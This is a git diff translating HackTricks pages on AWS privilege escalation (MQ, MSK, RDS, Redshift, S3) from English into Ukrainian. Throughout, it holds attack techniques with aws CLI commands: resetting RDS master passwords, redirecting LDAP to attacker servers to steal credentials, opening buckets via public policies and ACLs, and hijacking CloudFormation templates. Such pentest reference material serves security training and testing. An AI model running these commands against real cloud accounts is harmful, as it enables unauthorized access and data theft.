Доступ до чутливої інформації через ActiveMQ ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +З цими дозволами ви можете **створити нового користувача в брокері ActimeMQ** (це не працює в RabbitMQ): ```bash aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Потенційний вплив:** Доступ до чутливої інформації через ActiveMQ ### `mq:ListBrokers`, `mq:UpdateBroker` -If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**. - +Якщо брокер використовує **LDAP** для авторизації з **ActiveMQ**, можливо **змінити** **конфігурацію** сервера LDAP, що використовується, на **той, що контролюється зловмисником**. Таким чином, зловмисник зможе **викрасти всі облікові дані, що надсилаються через LDAP**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` +Якщо вам вдасться знайти оригінальні облікові дані, використані ActiveMQ, ви зможете виконати MitM, вкрасти облікові дані, використати їх на оригінальному сервері та надіслати відповідь (можливо, просто повторно використавши вкрадені облікові дані, ви зможете це зробити). -If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this). - -**Potential Impact:** Steal ActiveMQ credentials +**Potential Impact:** Вкрасти облікові дані ActiveMQ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index f0538785f..efddfaad3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -4,7 +4,7 @@ ## MSK -For more information about MSK (Kafka) check: +Для отримання додаткової інформації про MSK (Kafka) перегляньте: {{#ref}} ../aws-services/aws-msk-enum.md @@ -12,17 +12,11 @@ For more information about MSK (Kafka) check: ### `msk:ListClusters`, `msk:UpdateSecurity` -With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them. - +З цими **привілеями** та **доступом до VPC, де знаходяться брокери kafka**, ви можете додати **None authentication** для доступу до них. ```bash aws msk --client-authentication --cluster-arn --current-version ``` - -You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\ -If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it. +Вам потрібен доступ до VPC, тому що **ви не можете увімкнути анонімну аутентифікацію з Kafka, що публічно** відкритий. Якщо він публічно відкритий, якщо використовується **SASL/SCRAM** аутентифікація, ви могли б **прочитати секрет** для доступу (вам знадобляться додаткові привілеї для читання секрету).\ +Якщо використовується **аутентифікація на основі ролей IAM** і **kafka публічно відкритий**, ви все ще могли б зловживати цими привілеями, щоб надати собі дозволи для доступу до нього. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 7d43bbd3b..0ebad6877 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -4,19 +4,15 @@ ## Organizations -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -## From management Account to children accounts +## Від облікового запису управління до дочірніх облікових записів -If you compromise the root/management account, chances are you can compromise all the children accounts.\ -To [**learn how check this page**](../#compromising-the-organization). +Якщо ви зламаєте обліковий запис root/управління, є ймовірність, що ви зможете зламати всі дочірні облікові записи.\ +Щоб [**дізнатися, як, перегляньте цю сторінку**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index b4a08093e..12e1082cc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - Служба реляційних баз даних -For more information about RDS check: +Для отримання додаткової інформації про RDS дивіться: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,59 +12,54 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -With that permission an attacker can **modify the password of the master user**, and the login inside the database: - +З цією дозволом зловмисник може **змінити пароль майстер-користувача** та вхід до бази даних: ```bash # Get the DB username, db name and address aws rds describe-db-instances # Modify the password and wait a couple of minutes aws rds modify-db-instance \ - --db-instance-identifier \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # In case of postgres psql postgresql://:@:5432/ ``` - > [!WARNING] -> You will need to be able to **contact to the database** (they are usually only accessible from inside networks). +> Вам потрібно буде **зв'язатися з базою даних** (зазвичай вони доступні лише з внутрішніх мереж). -**Potential Impact:** Find sensitive info inside the databases. +**Потенційний вплив:** Знайти чутливу інформацію всередині баз даних. ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +Згідно з [**документацією**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), користувач з цим дозволом може підключитися до екземпляра БД. -### Abuse RDS Role IAM permissions +### Зловживання дозволами ролі IAM RDS #### Postgresql (Aurora) > [!TIP] -> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. - -First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions: +> Якщо виконуючи **`SELECT datname FROM pg_database;`** ви знайдете базу даних під назвою **`rdsadmin`**, ви знаєте, що ви всередині **AWS postgresql бази даних**. +Спочатку ви можете перевірити, чи використовувалася ця база даних для доступу до будь-якої іншої служби AWS. Ви можете перевірити це, подивившись на встановлені розширення: ```sql SELECT * FROM pg_extension; ``` +Якщо ви знайдете щось на зразок **`aws_s3`**, ви можете припустити, що ця база даних має **якийсь доступ до S3** (є й інші розширення, такі як **`aws_ml`** та **`aws_lambda`**). -If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**). - -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has. - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Також, якщо у вас є дозволи на виконання **`aws rds describe-db-clusters`**, ви можете побачити, чи **кластер має прикріплену IAM роль** у полі **`AssociatedRoles`**. Якщо так, ви можете припустити, що база даних була **підготовлена для доступу до інших сервісів AWS**. На основі **імені ролі** (або якщо ви можете отримати **дозволи** ролі) ви могли б **вгадати**, який додатковий доступ має база даних. +Тепер, щоб **прочитати файл всередині бакету**, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою: ```sql // Create table CREATE TABLE ttemp (col TEXT); // Create s3 uri SELECT aws_commons.create_s3_uri( - 'test1234567890678', // Name of the bucket - 'data.csv', // Name of the file - 'eu-west-1' //region of the bucket +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket ) AS s3_uri \gset // Load file contents in table @@ -76,98 +71,81 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` - -If you had **raw AWS credentials** you could also use them to access S3 data with: - +Якщо у вас є **сирі AWS облікові дані**, ви також можете використовувати їх для доступу до даних S3 за допомогою: ```sql SELECT aws_s3.table_import_from_s3( - 't', '', '(format csv)', - :'s3_uri', - aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` - > [!NOTE] -> Postgresql **doesn't need to change any parameter group variable** to be able to access S3. +> Postgresql **не потрібно змінювати жодну змінну групи параметрів**, щоб мати доступ до S3. #### Mysql (Aurora) > [!TIP] -> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**. +> Всередині mysql, якщо ви виконаєте запит **`SELECT User, Host FROM mysql.user;`** і є користувач з ім'ям **`rdsadmin`**, ви можете припустити, що ви знаходитесь всередині **AWS RDS mysql db**. -Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data. +Всередині mysql виконайте **`show variables;`** і якщо змінні, такі як **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, мають значення, ви можете припустити, що база даних підготовлена для доступу до даних S3. -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services). - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Також, якщо у вас є дозволи на виконання **`aws rds describe-db-clusters`**, ви можете перевірити, чи має кластер будь-яку **асоційовану роль**, що зазвичай означає доступ до сервісів AWS). +Тепер, щоб **прочитати файл всередині бакету**, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); SELECT * FROM ttemp; DROP TABLE ttemp; ``` - ### `rds:AddRoleToDBCluster`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. - +Зловмисник з правами `rds:AddRoleToDBCluster` та `iam:PassRole` може **додати вказану роль до існуючого екземпляра RDS**. Це може дозволити зловмиснику **отримати доступ до чутливих даних** або змінити дані в межах екземпляра. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\ -Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also. +**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у екземплярі RDS.\ +Зверніть увагу, що деякі БД вимагають додаткових налаштувань, таких як Mysql, який потребує вказати роль ARN у групах параметрів. ### `rds:CreateDBInstance` -Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet: - +Тільки з цим дозволом зловмисник може створити **новий екземпляр всередині кластера**, який вже існує і має прикріплену **IAM роль**. Він не зможе змінити пароль майстер-користувача, але може мати можливість виставити новий екземпляр бази даних в інтернет: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ - --db-instance-identifier mydbinstance2 \ - --db-instance-class db.t3.medium \ - --engine aurora-postgresql \ - --db-cluster-identifier database-1 \ - --db-security-groups "string" \ - --publicly-accessible +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible ``` - ### `rds:CreateDBInstance`, `iam:PassRole` > [!NOTE] > TODO: Test -An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance. +Зловмисник з правами `rds:CreateDBInstance` та `iam:PassRole` може **створити новий екземпляр RDS з прикріпленою вказаною роллю**. Зловмисник може потім потенційно **отримати доступ до чутливих даних** або змінити дані в екземплярі. > [!WARNING] -> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - The profile must exist in your account. -> - The profile must have an IAM role that Amazon EC2 has permissions to assume. -> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . +> Деякі вимоги до ролі/профілю екземпляра для прикріплення (з [**тут**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> - Профіль повинен існувати у вашому обліковому записі. +> - Профіль повинен мати IAM роль, яку Amazon EC2 має право приймати. +> - Ім'я профілю екземпляра та пов'язане ім'я IAM ролі повинні починатися з префікса `AWSRDSCustom`. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у екземплярі RDS. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. +Зловмисник з правами `rds:AddRoleToDBInstance` та `iam:PassRole` може **додати вказану роль до існуючого екземпляра RDS**. Це може дозволити зловмиснику **доступ до чутливих даних** або змінити дані в межах екземпляра. > [!WARNING] -> The DB instance must be outside of a cluster for this - +> Екземпляр БД повинен бути поза кластером для цього ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у екземплярі RDS. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 825c16ad6..0e4dfb6f5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -4,7 +4,7 @@ ## Redshift -For more information about RDS check: +Для отримання додаткової інформації про RDS перегляньте: {{#ref}} ../aws-services/aws-redshift-enum.md @@ -12,52 +12,45 @@ For more information about RDS check: ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it: - +З цими дозволами ви можете отримати **інформацію про всі кластери** (включаючи назву та ім'я користувача кластера) та **отримати облікові дані** для доступу до нього: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Потенційний вплив:** Знайти чутливу інформацію всередині баз даних. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -With these permissions you can get **info of all the clusters** and **get credentials** to access it.\ -Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has. - +З цими дозволами ви можете отримати **інформацію про всі кластери** та **отримати облікові дані** для доступу до них.\ +Зверніть увагу, що користувач postgres матиме **дозволи, які має IAM-ідентичність**, використана для отримання облікових даних. ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Потенційний вплив:** Знайти чутливу інформацію всередині баз даних. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet): - +Можливо **змінити майстер-пароль** внутрішнього користувача postgres (redshit) з aws cli (я думаю, це ті дозволи, які вам потрібні, але я ще не тестував їх): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` +**Потенційний вплив:** Знайти чутливу інформацію всередині баз даних. -**Potential Impact:** Find sensitive info inside the databases. - -## Accessing External Services +## Доступ до зовнішніх сервісів > [!WARNING] -> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned. +> Щоб отримати доступ до всіх наступних ресурсів, вам потрібно **вказати роль для використання**. Кластер Redshift **може мати призначений список ролей AWS**, які ви можете використовувати **якщо знаєте ARN**, або ви можете просто встановити "**за замовчуванням**", щоб використовувати призначену за замовчуванням. -> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> Більше того, як [**пояснено тут**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift також дозволяє конкатенувати ролі (якщо перша може прийняти другу), щоб отримати подальший доступ, просто **розділяючи** їх комою: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` -### Lambdas - -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like: +### Лямбди +Як пояснено в [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), можливо **викликати функцію лямбда з redshift** з чимось на зразок: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -65,11 +58,9 @@ STABLE LAMBDA 'lambda_function' IAM_ROLE default; ``` - ### S3 -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**: - +Як пояснено в [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), можливо **читати та записувати в S3 бакети**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -82,30 +73,23 @@ unload ('select * from venue') to 's3://mybucket/tickit/unload/venue_' iam_role default; ``` - ### Dynamo -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**: - +Як пояснено в [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), можливо **отримати дані з dynamodb**: ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` - > [!WARNING] -> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located. +> Таблиця Amazon DynamoDB, яка надає дані, повинна бути створена в тому ж регіоні AWS, що й ваш кластер, якщо ви не використовуєте опцію [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) для вказівки регіону AWS, в якому розташована таблиця Amazon DynamoDB. ### EMR -Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +Перевірте [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 0af161cbc..94ae40f13 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,117 +6,112 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges. - -For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy: +Зловмисник з такими дозволами на цікаві бакети може бути в змозі захопити ресурси та підвищити привілеї. +Наприклад, зловмисник з такими **дозволами на бакет cloudformation** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ може бути наданий за допомогою наступної політики: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": [ - "s3:PutBucketNotification", - "s3:GetBucketNotification", - "s3:PutObject", - "s3:GetObject" - ], - "Resource": [ - "arn:aws:s3:::cf-templates-*/*", - "arn:aws:s3:::cf-templates-*" - ] - }, - { - "Effect": "Allow", - "Action": "s3:ListAllMyBuckets", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] } ``` - -And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. +І викрадення можливе, оскільки існує **невеликий часовий проміжок від моменту завантаження шаблону** до кошика до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з кошика**, і **викраде** **вміст** цього **кошика**. ![](<../../../images/image (174).png>) -The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ -For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +Модуль Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) може бути використаний для автоматизації цієї атаки.\ +Для отримання додаткової інформації перегляньте оригінальне дослідження: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\ -An attacker with **read access** to them might find **sensitive information** on them.\ -An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\ -These are some examples: +Це дозволи на **отримання та завантаження об'єктів до S3**. Кілька сервісів всередині AWS (і за його межами) використовують S3 для зберігання **конфігураційних файлів**.\ +Зловмисник з **доступом на читання** до них може знайти **чутливу інформацію** в них.\ +Зловмисник з **доступом на запис** до них може **змінити дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\ +Ось кілька прикладів: -- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. +- Якщо екземпляр EC2 зберігає **дані користувача в S3 кошику**, зловмисник може змінити їх, щоб **виконати довільний код всередині екземпляра EC2**. ### `s3:PutBucketPolicy` -An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. - +Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше дозволів над кошиком(ами), що дозволить йому читати, писати, змінювати, видаляти та відкривати кошики. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ## JSON giving permissions to a user and mantaining some previous root access { - "Id": "Policy1568185116930", - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:root" - }, - "Action":"s3:ListBucket", - "Resource":"arn:aws:s3:::somebucketname" - }, - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:user/username" - }, - "Action":"s3:*", - "Resource":"arn:aws:s3:::somebucketname/*" - } - ] +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] } ## JSON Public policy example ### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } ``` - ### `s3:GetBucketAcl`, `s3:PutBucketAcl` -An attacker could abuse these permissions to **grant him more access** over specific buckets.\ -Note that the attacker doesn't need to be from the same account. Moreover the write access - +Зловмисник може зловживати цими дозволами, щоб **надати собі більше доступу** до конкретних бакетів.\ +Зверніть увагу, що зловмисник не обов'язково має бути з того ж облікового запису. Більше того, доступ на запис ```bash # Update bucket ACL aws s3api get-bucket-acl --bucket @@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -An attacker could abuse these permissions to grant him more access over specific objects inside buckets. - +Зловмисник може зловживати цими дозволами, щоб надати собі більше доступу до конкретних об'єктів всередині бакетів. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -An attacker with these privileges is expected to be able to put an Acl to an specific object version - +Зловмисник з цими привілеями, як очікується, зможе встановити Acl для конкретної версії об'єкта. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md 